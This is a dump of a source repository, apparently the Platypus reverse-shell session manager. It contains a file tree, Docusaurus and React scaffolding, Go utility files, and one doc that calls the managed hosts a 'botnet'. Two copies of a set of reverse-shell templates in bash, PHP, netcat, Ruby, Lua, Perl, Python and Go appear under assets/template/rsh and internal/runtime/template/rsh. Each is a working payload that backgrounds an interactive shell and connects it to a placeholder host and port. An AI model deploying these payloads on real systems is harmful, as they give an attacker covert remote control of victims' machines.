├── docs └── platypus │ ├── static │ ├── .nojekyll │ └── images │ │ ├── favicon.ico │ │ ├── cli │ │ ├── jump.gif │ │ ├── list.gif │ │ ├── start.gif │ │ ├── connect.gif │ │ ├── download.gif │ │ ├── interact.gif │ │ ├── upload.gif │ │ └── interactive.gif │ │ ├── webui │ │ ├── add.gif │ │ ├── raas.gif │ │ ├── shell.gif │ │ └── upgrade.gif │ │ ├── docusaurus.png │ │ └── docusaurus-social-card.jpg │ ├── roadmap │ └── index.md │ ├── docs │ ├── dev-guide │ │ ├── design │ │ │ ├── index.md │ │ │ ├── SDK.md │ │ │ ├── RESTful.md │ │ │ └── Design.md │ │ ├── overview.md │ │ └── internal │ │ │ ├── hashing.md │ │ │ ├── startup.md │ │ │ └── build.md │ ├── user-guide │ │ ├── overview.md │ │ ├── interact │ │ │ ├── sdk.md │ │ │ ├── cli.md │ │ │ └── web.md │ │ └── basic │ │ │ ├── file.md │ │ │ ├── termite.md │ │ │ ├── interact.md │ │ │ ├── tunnel.md │ │ │ ├── raas.zh.md │ │ │ └── raas.md │ ├── images │ │ └── netcat.png │ ├── index.zh.md │ ├── index.md │ └── getting-started.md │ ├── babel.config.js │ ├── src │ ├── pages │ │ ├── markdown-page.md │ │ ├── index.module.css │ │ └── index.tsx │ ├── components │ │ └── HomepageFeatures │ │ │ ├── styles.module.css │ │ │ └── index.tsx │ └── css │ │ └── custom.css │ ├── blog │ ├── 2021-08-26-welcome │ │ ├── docusaurus-plushie-banner.jpeg │ │ └── index.md │ ├── 2019-05-28-first-blog-post.md │ ├── tags.yml │ ├── 2021-08-01-mdx-blog-post.mdx │ ├── authors.yml │ └── 2019-05-29-long-blog-post.md │ ├── tsconfig.json │ ├── .gitignore │ ├── sidebars.ts │ ├── README.md │ └── package.json ├── internal ├── utils │ ├── assets │ │ ├── .gitkeep │ │ └── .gitignore │ ├── timeout │ │ └── timeout.go │ ├── hash │ │ └── hash.go │ ├── str │ │ └── str.go │ ├── ui │ │ └── prompt.go │ ├── os │ │ └── os.go │ ├── config │ │ └── config.go │ ├── crypto │ │ └── aes.go │ ├── update │ │ └── update.go │ ├── fs │ │ └── file.go │ ├── network │ │ └── network.go │ ├── reflection │ │ └── reflection.go │ ├── log │ │ └── log.go │ └── raas │ │ └── raas.go ├── runtime │ ├── template │ │ └── rsh │ │ │ ├── bash.tpl │ │ │ ├── php.tpl │ │ │ ├── nc.tpl │ │ │ ├── ruby.tpl │ │ │ ├── lua.tpl │ │ │ ├── perl.tpl │ │ │ ├── python.tpl │ │ │ ├── python2.tpl │ │ │ ├── python3.tpl │ │ │ └── go.tpl │ └── config.example.yml ├── cli │ └── dispatcher │ │ ├── exit.go │ │ ├── upgrade_to_metasploit.go │ │ ├── list.go │ │ ├── help.go │ │ ├── pty.go │ │ ├── run.go │ │ ├── rest.go │ │ ├── upgrade.go │ │ ├── command.go │ │ ├── alias.go │ │ ├── data_dispatcher.go │ │ ├── info.go │ │ ├── delete.go │ │ ├── jump.go │ │ ├── gather.go │ │ ├── turn.go │ │ ├── switching.go │ │ ├── upload.go │ │ └── tunnel.go └── context │ ├── sig_windows.go │ ├── sig_darwin.go │ ├── sig_linux.go │ └── distributor.go ├── web ├── platypus │ ├── README.md │ ├── .eslintrc.json │ ├── src │ │ ├── app │ │ │ ├── favicon.ico │ │ │ ├── fonts │ │ │ │ ├── GeistVF.woff │ │ │ │ └── GeistMonoVF.woff │ │ │ ├── layout.tsx │ │ │ └── globals.css │ │ ├── lib │ │ │ └── utils.ts │ │ └── components │ │ │ └── ui │ │ │ └── button.tsx │ ├── next.config.mjs │ ├── postcss.config.mjs │ ├── components.json │ ├── .gitignore │ ├── tsconfig.json │ ├── package.json │ └── tailwind.config.ts ├── ttyd │ ├── .gitignore │ ├── src │ │ ├── favicon.png │ │ ├── index.tsx │ │ ├── style │ │ │ └── index.scss │ │ ├── template.html │ │ └── components │ │ │ ├── modal │ │ │ ├── index.tsx │ │ │ └── modal.scss │ │ │ ├── app.tsx │ │ │ └── terminal │ │ │ └── overlay.ts │ ├── tslint.json │ ├── prettier.config.js │ ├── .editorconfig │ ├── README.md │ ├── tsconfig.json │ ├── gulpfile.js │ ├── package.json │ └── webpack.config.js └── frontend │ ├── public │ ├── robots.txt │ ├── favicon.ico │ ├── logo192.png │ ├── logo512.png │ ├── manifest.json │ └── index.html │ ├── .dockerignore │ ├── Dockerfile │ ├── src │ ├── setupTests.js │ ├── App.test.js │ ├── index.css │ ├── reportWebVitals.js │ ├── components │ │ ├── Banner │ │ │ ├── ServerCreator │ │ │ │ ├── PortSelector.js │ │ │ │ ├── SeverCreator.js │ │ │ │ ├── InterfaceSelector.js │ │ │ │ └── CreateServerButton.js │ │ │ └── Banner.js │ │ ├── Access │ │ │ └── index.jsx │ │ ├── SideBar │ │ │ ├── SideBar.js │ │ │ └── ServersList │ │ │ │ ├── ServersList.js │ │ │ │ └── SingleServer.js │ │ ├── SaveButton │ │ │ └── index.jsx │ │ ├── BeforeAuth │ │ │ └── index.css │ │ ├── LeftItem │ │ │ └── index.jsx │ │ ├── Body │ │ │ └── ClientsBody.js │ │ ├── LeftTable │ │ │ └── index.jsx │ │ ├── Modal │ │ │ └── UpgradeToTermite │ │ │ │ └── UpgradeToTermite.js │ │ └── Rbac │ │ │ └── index.jsx │ ├── index.js │ ├── App.css │ └── logo.svg │ ├── .gitignore │ ├── package.json │ └── README.md ├── assets ├── template │ └── rsh │ │ ├── bash.tpl │ │ ├── php.tpl │ │ ├── nc.tpl │ │ ├── ruby.tpl │ │ ├── lua.tpl │ │ ├── perl.tpl │ │ ├── python.tpl │ │ ├── python2.tpl │ │ ├── python3.tpl │ │ └── go.tpl └── config.example.yml ├── .dockerignore ├── cmd ├── platypus-admin │ └── main.go └── platypus-server │ └── main.go ├── deployments ├── docker-compose.yml └── Dockerfile ├── pkg ├── models │ └── env.go ├── dependencies │ └── logger.go ├── utils │ ├── executable.go │ └── daemon.go ├── version │ └── version.go └── options │ └── options.go ├── .github ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md ├── FUNDING.yml └── workflows │ ├── goreleaser.yaml │ └── docker.yaml ├── .pre-commit-config.yaml ├── SECURITY.md ├── .gitignore ├── .devcontainer ├── docker-compose.yaml └── devcontainer.json ├── .air.toml ├── Dockerfile └── Makefile /docs/platypus/static/.nojekyll: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /internal/utils/assets/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /docs/platypus/roadmap/index.md: -------------------------------------------------------------------------------- 1 | # Roadmap -------------------------------------------------------------------------------- /internal/utils/assets/.gitignore: -------------------------------------------------------------------------------- 1 | assets.go -------------------------------------------------------------------------------- /docs/platypus/docs/dev-guide/design/index.md: -------------------------------------------------------------------------------- 1 | # 设计 -------------------------------------------------------------------------------- /docs/platypus/docs/dev-guide/overview.md: -------------------------------------------------------------------------------- 1 | # Overview -------------------------------------------------------------------------------- /docs/platypus/docs/user-guide/overview.md: -------------------------------------------------------------------------------- 1 | # Overview -------------------------------------------------------------------------------- /web/platypus/README.md: -------------------------------------------------------------------------------- 1 | ```bash 2 | yarn dev 3 | ``` 4 | -------------------------------------------------------------------------------- /web/ttyd/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | /build 3 | /dist 4 | /*.log -------------------------------------------------------------------------------- /web/platypus/.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": ["next/core-web-vitals", "next/typescript"] 3 | } 4 | -------------------------------------------------------------------------------- /web/ttyd/src/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/web/ttyd/src/favicon.png -------------------------------------------------------------------------------- /web/frontend/public/robots.txt: -------------------------------------------------------------------------------- 1 | # https://www.robotstxt.org/robotstxt.html 2 | User-agent: * 3 | Disallow: 4 | -------------------------------------------------------------------------------- /assets/template/rsh/bash.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/__HOST__/__PORT__ 0>&1 &' >/dev/null -------------------------------------------------------------------------------- /web/frontend/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/web/frontend/public/favicon.ico -------------------------------------------------------------------------------- /web/frontend/public/logo192.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/web/frontend/public/logo192.png -------------------------------------------------------------------------------- /web/frontend/public/logo512.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/web/frontend/public/logo512.png -------------------------------------------------------------------------------- /docs/platypus/docs/user-guide/interact/sdk.md: -------------------------------------------------------------------------------- 1 | # Python SDK 2 | 3 | 请参考[本文](https://github.com/WangYihang/platypus-python)。 -------------------------------------------------------------------------------- /web/platypus/src/app/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/web/platypus/src/app/favicon.ico -------------------------------------------------------------------------------- /docs/platypus/docs/images/netcat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/docs/images/netcat.png -------------------------------------------------------------------------------- /internal/runtime/template/rsh/bash.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/__HOST__/__PORT__ 0>&1' >/dev/null & -------------------------------------------------------------------------------- /docs/platypus/babel.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | presets: [require.resolve('@docusaurus/core/lib/babel/preset')], 3 | }; 4 | -------------------------------------------------------------------------------- /docs/platypus/static/images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/favicon.ico -------------------------------------------------------------------------------- /web/platypus/src/app/fonts/GeistVF.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/web/platypus/src/app/fonts/GeistVF.woff -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | Dockerfile 2 | .github/ 3 | LICENSE 4 | README.md 5 | node_modules/ 6 | web/frontend/node_modules/ 7 | web/ttyd/node_modules/ -------------------------------------------------------------------------------- /docs/platypus/static/images/cli/jump.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/cli/jump.gif -------------------------------------------------------------------------------- /docs/platypus/static/images/cli/list.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/cli/list.gif -------------------------------------------------------------------------------- /docs/platypus/static/images/cli/start.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/cli/start.gif -------------------------------------------------------------------------------- /docs/platypus/static/images/webui/add.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/webui/add.gif -------------------------------------------------------------------------------- /web/platypus/next.config.mjs: -------------------------------------------------------------------------------- 1 | /** @type {import('next').NextConfig} */ 2 | const nextConfig = {}; 3 | 4 | export default nextConfig; 5 | -------------------------------------------------------------------------------- /docs/platypus/static/images/cli/connect.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/cli/connect.gif -------------------------------------------------------------------------------- /docs/platypus/static/images/cli/download.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/cli/download.gif -------------------------------------------------------------------------------- /docs/platypus/static/images/cli/interact.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/cli/interact.gif -------------------------------------------------------------------------------- /docs/platypus/static/images/cli/upload.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/cli/upload.gif -------------------------------------------------------------------------------- /docs/platypus/static/images/docusaurus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/docusaurus.png -------------------------------------------------------------------------------- /docs/platypus/static/images/webui/raas.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/webui/raas.gif -------------------------------------------------------------------------------- /docs/platypus/static/images/webui/shell.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/webui/shell.gif -------------------------------------------------------------------------------- /web/platypus/src/app/fonts/GeistMonoVF.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/web/platypus/src/app/fonts/GeistMonoVF.woff -------------------------------------------------------------------------------- /docs/platypus/static/images/webui/upgrade.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/webui/upgrade.gif -------------------------------------------------------------------------------- /web/ttyd/tslint.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "gts/tslint.json", 3 | "rules": { 4 | "deprecation": false, 5 | "no-any": false 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /docs/platypus/static/images/cli/interactive.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/cli/interactive.gif -------------------------------------------------------------------------------- /web/frontend/.dockerignore: -------------------------------------------------------------------------------- 1 | Dockerfile 2 | .github/ 3 | LICENSE 4 | README.md 5 | node_modules/ 6 | web/frontend/node_modules/ 7 | web/ttyd/node_modules/ -------------------------------------------------------------------------------- /assets/template/rsh/php.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("__HOST__",__PORT__);shell_exec("/bin/bash -i <&3 >&3");'\'' &' >/dev/null -------------------------------------------------------------------------------- /assets/template/rsh/nc.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c "mkfifo /tmp/.platypus;nc __HOST__ __PORT__ 0/dev/null -------------------------------------------------------------------------------- /docs/platypus/static/images/docusaurus-social-card.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/static/images/docusaurus-social-card.jpg -------------------------------------------------------------------------------- /web/ttyd/prettier.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | trailingComma: "es5", 3 | tabWidth: 4, 4 | printWidth: 120, 5 | singleQuote: true, 6 | }; 7 | -------------------------------------------------------------------------------- /assets/template/rsh/ruby.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c "ruby -rsocket -e 'exec(\"/bin/bash\",\"-c\",\"/bin/bash -i >/dev/tcp/__HOST__/__PORT__ 0>&1\");' &" >/dev/null -------------------------------------------------------------------------------- /internal/runtime/template/rsh/php.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c 'php -r '\''$sock=fsockopen("__HOST__",__PORT__);shell_exec("/bin/bash -i <&3 >&3");'\''' >/dev/null & -------------------------------------------------------------------------------- /internal/runtime/template/rsh/nc.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c "mkfifo /tmp/.platypus;nc __HOST__ __PORT__ 0/dev/null & -------------------------------------------------------------------------------- /internal/runtime/template/rsh/ruby.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c "ruby -rsocket -e 'exec(\"/bin/bash\",\"-c\",\"/bin/bash -i >/dev/tcp/__HOST__/__PORT__ 0>&1\");'" >/dev/null & -------------------------------------------------------------------------------- /docs/platypus/src/pages/markdown-page.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Markdown page example 3 | --- 4 | 5 | # Markdown page example 6 | 7 | You don't need React to write simple standalone pages. 8 | -------------------------------------------------------------------------------- /cmd/platypus-admin/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "github.com/WangYihang/Platypus/internal/cli/dispatcher" 4 | 5 | func main() { 6 | // Run main loop 7 | dispatcher.REPL() 8 | } 9 | -------------------------------------------------------------------------------- /docs/platypus/blog/2021-08-26-welcome/docusaurus-plushie-banner.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Platypus/HEAD/docs/platypus/blog/2021-08-26-welcome/docusaurus-plushie-banner.jpeg -------------------------------------------------------------------------------- /internal/utils/timeout/timeout.go: -------------------------------------------------------------------------------- 1 | package timeout 2 | 3 | import ( 4 | "time" 5 | ) 6 | 7 | func GenerateTimeout() time.Duration { 8 | return time.Millisecond * 0x100 9 | } 10 | -------------------------------------------------------------------------------- /web/frontend/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:20-alpine AS builder 2 | WORKDIR /app 3 | COPY yarn.lock package.json ./ 4 | RUN yarn install 5 | COPY . . 6 | RUN yarn build 7 | ENTRYPOINT [ "yarn", "start" ] 8 | -------------------------------------------------------------------------------- /web/platypus/postcss.config.mjs: -------------------------------------------------------------------------------- 1 | /** @type {import('postcss-load-config').Config} */ 2 | const config = { 3 | plugins: { 4 | tailwindcss: {}, 5 | }, 6 | }; 7 | 8 | export default config; 9 | -------------------------------------------------------------------------------- /assets/template/rsh/lua.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c 'lua -e "require('\''socket'\'').connect('\''__HOST__'\'','\''__PORT__'\'');require('\''os'\'').execute('\''/bin/bash -i <&3 >&3'\'');" &' >/dev/null -------------------------------------------------------------------------------- /web/ttyd/src/index.tsx: -------------------------------------------------------------------------------- 1 | import 'whatwg-fetch'; 2 | import { h, render } from 'preact'; 3 | import { App } from './components/app'; 4 | import './style/index.scss'; 5 | 6 | render(, document.body); 7 | -------------------------------------------------------------------------------- /web/platypus/src/lib/utils.ts: -------------------------------------------------------------------------------- 1 | import { clsx, type ClassValue } from "clsx" 2 | import { twMerge } from "tailwind-merge" 3 | 4 | export function cn(...inputs: ClassValue[]) { 5 | return twMerge(clsx(inputs)) 6 | } 7 | -------------------------------------------------------------------------------- /docs/platypus/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | // This file is not used in compilation. It is here just for a nice editor experience. 3 | "extends": "@docusaurus/tsconfig", 4 | "compilerOptions": { 5 | "baseUrl": "." 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /deployments/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | app: 5 | build: . 6 | tty: true 7 | network_mode: host 8 | volumes: 9 | - ./config.yml:/app/config.yml 10 | entrypoint: /app/platypus -------------------------------------------------------------------------------- /internal/runtime/template/rsh/lua.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c 'lua -e "require('\''socket'\'');require('\''os'\'');t=socket.tcp();t:connect('\''__HOST__'\'','\''__PORT__'\'');os.execute('\''/bin/bash -i <&3 >&3'\'');"' >/dev/null & -------------------------------------------------------------------------------- /docs/platypus/src/components/HomepageFeatures/styles.module.css: -------------------------------------------------------------------------------- 1 | .features { 2 | display: flex; 3 | align-items: center; 4 | padding: 2rem 0; 5 | width: 100%; 6 | } 7 | 8 | .featureSvg { 9 | height: 200px; 10 | width: 200px; 11 | } 12 | -------------------------------------------------------------------------------- /internal/utils/hash/hash.go: -------------------------------------------------------------------------------- 1 | package hash 2 | 3 | import ( 4 | "crypto/md5" 5 | "encoding/hex" 6 | ) 7 | 8 | func MD5(data string) string { 9 | m := md5.New() 10 | m.Write([]byte(data)) 11 | return hex.EncodeToString(m.Sum(nil)) 12 | } 13 | -------------------------------------------------------------------------------- /assets/template/rsh/perl.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="__HOST__";$p=__PORT__;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\'' &' >/dev/null -------------------------------------------------------------------------------- /assets/template/rsh/python.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\'' &' >/dev/null -------------------------------------------------------------------------------- /assets/template/rsh/python2.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c 'python2 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\'' &' >/dev/null -------------------------------------------------------------------------------- /assets/template/rsh/python3.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c 'python3 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\'' &' >/dev/null -------------------------------------------------------------------------------- /internal/runtime/template/rsh/perl.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c 'perl -e '\''use Socket;$i="__HOST__";$p=__PORT__;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");system("/bin/bash -i");};'\''' >/dev/null & -------------------------------------------------------------------------------- /internal/runtime/template/rsh/python.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c 'python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null & -------------------------------------------------------------------------------- /internal/runtime/template/rsh/python2.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c 'python2 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null & -------------------------------------------------------------------------------- /internal/runtime/template/rsh/python3.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c 'python3 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("__HOST__",__PORT__));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);import os; os.system("/bin/bash")'\''' >/dev/null & -------------------------------------------------------------------------------- /web/frontend/src/setupTests.js: -------------------------------------------------------------------------------- 1 | // jest-dom adds custom jest matchers for asserting on DOM nodes. 2 | // allows you to do things like: 3 | // expect(element).toHaveTextContent(/react/i) 4 | // learn more: https://github.com/testing-library/jest-dom 5 | import '@testing-library/jest-dom'; 6 | -------------------------------------------------------------------------------- /web/ttyd/.editorconfig: -------------------------------------------------------------------------------- 1 | root = true 2 | 3 | [*] 4 | charset = utf-8 5 | indent_size = 4 6 | indent_style = space 7 | insert_final_newline = true 8 | trim_trailing_whitespace = true 9 | 10 | [{*.json, *.scss}] 11 | indent_size = 2 12 | 13 | [*.md] 14 | trim_trailing_whitespace = false 15 | -------------------------------------------------------------------------------- /web/frontend/src/App.test.js: -------------------------------------------------------------------------------- 1 | import { render, screen } from '@testing-library/react'; 2 | import App from './App'; 3 | 4 | test('renders learn react link', () => { 5 | render(); 6 | const linkElement = screen.getByText(/learn react/i); 7 | expect(linkElement).toBeInTheDocument(); 8 | }); 9 | -------------------------------------------------------------------------------- /assets/template/rsh/go.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"__HOST__:__PORT__\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/platypus.go && go run /tmp/platypus.go && rm /tmp/platypus.go &" >/dev/null -------------------------------------------------------------------------------- /internal/runtime/template/rsh/go.tpl: -------------------------------------------------------------------------------- 1 | /usr/bin/nohup /bin/bash -c "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"__HOST__:__PORT__\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/platypus.go && go run /tmp/platypus.go && rm /tmp/platypus.go" >/dev/null & -------------------------------------------------------------------------------- /web/ttyd/README.md: -------------------------------------------------------------------------------- 1 | ## Prerequisites 2 | 3 | install [Yarn](https://yarnpkg.com), and run: `yarn install`. 4 | 5 | ## Development 6 | 7 | 1. Start ttyd: `ttyd bash` 8 | 2. Start the dev server: `yarn run start` 9 | 10 | ## Publish 11 | 12 | Run `yarn run build`, this will compile the inlined html to `../src/html.h`. 13 | -------------------------------------------------------------------------------- /docs/platypus/.gitignore: -------------------------------------------------------------------------------- 1 | # Dependencies 2 | /node_modules 3 | 4 | # Production 5 | /build 6 | 7 | # Generated files 8 | .docusaurus 9 | .cache-loader 10 | 11 | # Misc 12 | .DS_Store 13 | .env.local 14 | .env.development.local 15 | .env.test.local 16 | .env.production.local 17 | 18 | npm-debug.log* 19 | yarn-debug.log* 20 | yarn-error.log* 21 | -------------------------------------------------------------------------------- /docs/platypus/docs/dev-guide/design/SDK.md: -------------------------------------------------------------------------------- 1 | # SDK 2 | 3 | Platypus also provides a SDK to enable you to automate your work. 4 | 5 | Currently, Python SDK is available. You can use Python SDK to disptch your command to your botnet. 6 | (For more information, please visit GitHub Page of Python SDK) 7 | * [Python SDK](https://github.com/WangYihang/Platypus-Python) -------------------------------------------------------------------------------- /web/ttyd/src/style/index.scss: -------------------------------------------------------------------------------- 1 | html, 2 | body { 3 | height: 100%; 4 | min-height: 100%; 5 | margin: 0; 6 | overflow: hidden; 7 | } 8 | 9 | #terminal-container { 10 | width: auto; 11 | height: 100%; 12 | margin: 0 auto; 13 | padding: 0; 14 | .terminal { 15 | padding: 5px; 16 | height: calc(100% - 10px); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /docs/platypus/blog/2019-05-28-first-blog-post.md: -------------------------------------------------------------------------------- 1 | --- 2 | slug: first-blog-post 3 | title: First Blog Post 4 | authors: [slorber, yangshun] 5 | tags: [hola, docusaurus] 6 | --- 7 | 8 | Lorem ipsum dolor sit amet... 9 | 10 | 11 | 12 | ...consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 13 | -------------------------------------------------------------------------------- /web/frontend/.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | /.pnp 6 | .pnp.js 7 | 8 | # testing 9 | /coverage 10 | 11 | # production 12 | /build 13 | 14 | # misc 15 | .DS_Store 16 | .env.local 17 | .env.development.local 18 | .env.test.local 19 | .env.production.local 20 | 21 | npm-debug.log* 22 | yarn-debug.log* 23 | yarn-error.log* 24 | -------------------------------------------------------------------------------- /web/frontend/src/index.css: -------------------------------------------------------------------------------- 1 | body { 2 | margin: 0; 3 | font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 4 | 'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue', 5 | sans-serif; 6 | -webkit-font-smoothing: antialiased; 7 | -moz-osx-font-smoothing: grayscale; 8 | } 9 | 10 | code { 11 | font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New', 12 | monospace; 13 | } 14 | -------------------------------------------------------------------------------- /pkg/models/env.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | // Environment represents the environment of the application 4 | type Environment string 5 | 6 | const ( 7 | // Development represents the development environment 8 | Development Environment = "development" 9 | // Staging represents the staging environment 10 | Staging Environment = "staging" 11 | // Production represents the production environment 12 | Production Environment = "production" 13 | ) 14 | -------------------------------------------------------------------------------- /web/frontend/src/reportWebVitals.js: -------------------------------------------------------------------------------- 1 | const reportWebVitals = onPerfEntry => { 2 | if (onPerfEntry && onPerfEntry instanceof Function) { 3 | import('web-vitals').then(({ getCLS, getFID, getFCP, getLCP, getTTFB }) => { 4 | getCLS(onPerfEntry); 5 | getFID(onPerfEntry); 6 | getFCP(onPerfEntry); 7 | getLCP(onPerfEntry); 8 | getTTFB(onPerfEntry); 9 | }); 10 | } 11 | }; 12 | 13 | export default reportWebVitals; 14 | -------------------------------------------------------------------------------- /docs/platypus/blog/tags.yml: -------------------------------------------------------------------------------- 1 | facebook: 2 | label: Facebook 3 | permalink: /facebook 4 | description: Facebook tag description 5 | 6 | hello: 7 | label: Hello 8 | permalink: /hello 9 | description: Hello tag description 10 | 11 | docusaurus: 12 | label: Docusaurus 13 | permalink: /docusaurus 14 | description: Docusaurus tag description 15 | 16 | hola: 17 | label: Hola 18 | permalink: /hola 19 | description: Hola tag description 20 | -------------------------------------------------------------------------------- /docs/platypus/docs/user-guide/basic/file.md: -------------------------------------------------------------------------------- 1 | # 文件操作 2 | 3 | 当跳转到某一个 Shell 之后,上传或下载文件。 4 | 5 | !!! Hints 6 | 目前 Platypus 只支持在 Cli 模式下进行文件上传下载操作 7 | 8 | #### 上传文件 9 | 10 | 将 Platypus 